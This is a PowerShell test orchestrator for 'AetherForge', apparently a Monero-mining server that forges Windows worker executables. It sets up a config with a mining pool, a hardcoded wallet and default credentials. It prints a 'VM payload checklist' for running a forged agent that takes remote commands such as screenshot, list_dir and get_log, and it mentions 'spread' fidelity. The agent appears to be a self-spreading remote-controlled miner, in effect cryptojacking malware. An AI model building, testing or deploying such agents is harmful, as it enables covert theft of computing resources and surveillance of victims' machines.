# AetherForge — secure local E2E validation orchestrator # Runs automated tiers 0–1 and prints Tier 3 VM checklist. # Full playbook: docs/E2E_VALIDATION.md param( [switch]$PrepareOnly, [switch]$SkipMineValidate, [switch]$SkipAutomatedTests, [switch]$SkipServerCheck, [switch]$ForgeAgent, [string]$BaseUrl = "http://127.0.0.1:8989", [string]$DataDir = "", [int]$MineValidateSeconds = 10, [int]$MineValidateThreads = 2 ) $ErrorActionPreference = "Stop" $Root = Split-Path -Parent (Split-Path -Parent $MyInvocation.MyCommand.Path) if (-not (Test-Path (Join-Path $Root "server\go.mod"))) { $Root = (Get-Location).Path } if (-not $DataDir) { $DataDir = Join-Path $Root "data-e2e" } $E2EUser = if ($env:AETHERFORGE_E2E_USER) { $env:AETHERFORGE_E2E_USER } else { "testuser" } $E2EPass = if ($env:AETHERFORGE_E2E_PASS) { $env:AETHERFORGE_E2E_PASS } else { "testpass" } $E2ETestWallet = "85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm" function Write-Banner([string]$Text) { Write-Host "" Write-Host "==============================================================" -ForegroundColor Cyan Write-Host " $Text" -ForegroundColor Cyan Write-Host "==============================================================" -ForegroundColor Cyan } function Ensure-TestDataDir { New-Item -ItemType Directory -Force -Path $DataDir | Out-Null $usersPath = Join-Path $DataDir "users.json" if (-not (Test-Path $usersPath)) { $obj = @{ $E2EUser = $E2EPass } [System.IO.File]::WriteAllText($usersPath, ($obj | ConvertTo-Json -Compress)) Write-Host " Created $usersPath ($E2EUser)" -ForegroundColor Green } else { Write-Host " Using existing $usersPath" -ForegroundColor DarkGray } New-Item -ItemType Directory -Force -Path (Join-Path $DataDir "logs") | Out-Null $configPath = Join-Path $DataDir "config.json" if (-not (Test-Path $configPath)) { $config = @{ port = 8989 pool = @{ host = "pool.supportxmr.com" port = 3333 use_tls = $false password = "x" } wallet = @{ address = $E2ETestWallet payment_id = "" } server = @{ log_agent_connections = $true log_share_submissions = $true open_firewall_on_start = $false } } [System.IO.File]::WriteAllText($configPath, ($config | ConvertTo-Json -Depth 6)) Write-Host " Created $configPath (test wallet)" -ForegroundColor Green } else { Write-Host " Using existing $configPath" -ForegroundColor DarkGray } } function Test-ServerHealthy { try { $r = Invoke-RestMethod "$BaseUrl/api/v1/health" -TimeoutSec 3 return ($r.status -eq "ok") } catch { return $false } } function Invoke-MineValidate { Write-Banner "Tier 0 - mine-validate" Push-Location (Join-Path $Root "agent") try { # Native stderr (e.g. randomx VM warmup) becomes ErrorRecords under 2>&1; do not let # $ErrorActionPreference Stop treat that as a script failure. Tier 0 passes on exit 0 only. $prevEAP = $ErrorActionPreference $ErrorActionPreference = 'Continue' try { $lines = & go run ./cmd/mine-validate -seconds $MineValidateSeconds -threads $MineValidateThreads 2>&1 $exitCode = $LASTEXITCODE } finally { $ErrorActionPreference = $prevEAP } foreach ($line in $lines) { $text = if ($line -is [System.Management.Automation.ErrorRecord]) { $line.ToString() } else { "$line" } if ($text -notmatch '\[miner\] hash error: randomx VM not initialized') { Write-Host $text } } if ($exitCode -ne 0) { throw "mine-validate exit $exitCode" } Write-Host " >> PASS" -ForegroundColor Green } finally { Pop-Location } } function Invoke-AutomatedTests { Write-Banner "Tier 1 - automated tests (no build, no Playwright)" & (Join-Path $Root "scripts\test-suite.ps1") -SkipBuild -SkipE2E if ($LASTEXITCODE -and $LASTEXITCODE -ne 0) { throw "test-suite failed" } } function Invoke-SmokeIfServerUp { # Tier 1b smoke-test needs -BaseUrl matching the live server (e.g. -BaseUrl http://127.0.0.1:18989) # and Basic auth credentials that match that server's users.json (defaults: testuser/testpass). if (-not (Test-ServerHealthy)) { return } Write-Banner "Tier 1b - API smoke (B-01 to B-10)" & (Join-Path $Root "scripts\smoke-test.ps1") -BaseUrl $BaseUrl -Username $E2EUser -Password $E2EPass if ($LASTEXITCODE -and $LASTEXITCODE -ne 0) { throw "smoke-test failed" } } function Show-Tier3Checklist { Write-Banner "Tier 3 - manual VM payload checklist" Write-Host " PRIMARY PATH (recommended):" -ForegroundColor Yellow Write-Host " Host: devrun.bat or bin\miner-server.exe -port 8989 -data $DataDir" Write-Host " Agent: disposable Hyper-V / VMware Windows 10/11 VM - revert snapshot when done" Write-Host " NOT Docker Windows containers (no desktop/USB/GPU/spread fidelity)" Write-Host "" Write-Host " 1. Calibrate - wallet $E2ETestWallet (or data-e2e\config.json), file_logging=true" Write-Host " 2. Forge Windows amd64 worker (name: e2e-validate) - download exe + uninstall ps1" Write-Host " 3. Snapshot VM as clean-pre-agent, run forged exe inside VM" Write-Host " 4. Crucible commands (see docs/E2E_VALIDATION.md):" Write-Host " sysinfo, pause/resume, get_log, list_dir, screenshot, uninstall" Write-Host " 5. Logs:" Write-Host " Server: $DataDir\logs\.log" Write-Host " Agent: %LOCALAPPDATA%\\miner.log" Write-Host " UI: Fleet - Fetch Log" Write-Host " 6. Teardown: revert VM snapshot, delete or archive $DataDir" Write-Host "" Write-Host " Full playbook: docs/E2E_VALIDATION.md" -ForegroundColor Yellow } Write-Banner "AetherForge E2E Validation" Write-Host " Root: $Root" Write-Host " DataDir: $DataDir" Write-Host " Server: $BaseUrl" Ensure-TestDataDir if ($PrepareOnly) { Write-Host "" Write-Host " Test data ready. Start server with:" -ForegroundColor Green Write-Host " bin\miner-server.exe -port 8989 -data `"$DataDir`"" -ForegroundColor White Show-Tier3Checklist exit 0 } if (-not $SkipMineValidate) { Invoke-MineValidate } if (-not $SkipAutomatedTests) { Invoke-AutomatedTests } if (-not $SkipServerCheck) { if (Test-ServerHealthy) { Write-Host " Server healthy at $BaseUrl" -ForegroundColor Green Invoke-SmokeIfServerUp } else { Write-Host "" Write-Host " Server not running at $BaseUrl - skipping smoke-test." -ForegroundColor DarkYellow Write-Host " Start with: bin\miner-server.exe -port 8989 -data `"$DataDir`"" -ForegroundColor DarkYellow } } if ($ForgeAgent) { if (-not (Test-ServerHealthy)) { Write-Host " -ForgeAgent requires server at $BaseUrl" -ForegroundColor Red exit 1 } Write-Banner "Forge test agent via API" Write-Host " Open Forge in dashboard and build Windows amd64 e2e-validate," -ForegroundColor Yellow Write-Host " or POST /api/v1/builder/build with your test profile." -ForegroundColor Yellow Write-Host " (Automated multipart forge omitted - use UI for fusion/prep options.)" -ForegroundColor DarkGray } Show-Tier3Checklist Write-Host " Done." -ForegroundColor Green